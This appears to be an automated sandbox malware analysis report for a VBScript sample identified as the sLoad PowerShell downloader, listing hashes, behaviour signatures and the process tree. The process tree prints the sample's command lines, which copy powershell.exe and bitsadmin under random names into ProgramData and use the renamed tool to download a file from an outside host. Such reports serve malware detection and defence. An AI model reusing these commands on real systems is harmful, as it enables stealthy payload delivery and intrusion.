Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    11-08-2024 23:12

General

  • Target

    8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs

  • Size

    7KB

  • MD5

    8c5bfc61bb0b20c461496f954bc957fc

  • SHA1

    d6a89fc9aa3e9ba9356d4d943084e51e06e69e96

  • SHA256

    be2f792c44d9e48f90ccb1ff0fe514e28c33de7151631da8d2da8d77dfdbd7ff

  • SHA512

    3c825aee05625202fe166ce2453043731553fe007301e8b716d34c91da5e5f022a21ef1b2de13b71a73ec278e522c27447a7a57b000149d78ec1266a3892d148

  • SSDEEP

    192:UZjfeoBTV34Oc0dM+OTbFpE66Hzd/LSQM/2F4I:UZjfeor4Oc0C+UbFe66HRDSVI

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2156
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe
        3⤵
          PID:2400
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe
          3⤵
            PID:2404
        • C:\ProgramData\YiEIZyJin.exe
          "C:\ProgramData\YiEIZyJin.exe" /wrap /transfer AKRkDLfa https://fakedepth.com/real/01162660318/dev.txt C:\ProgramData\dev.txt
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2148

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ProgramData\YiEIZyJin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51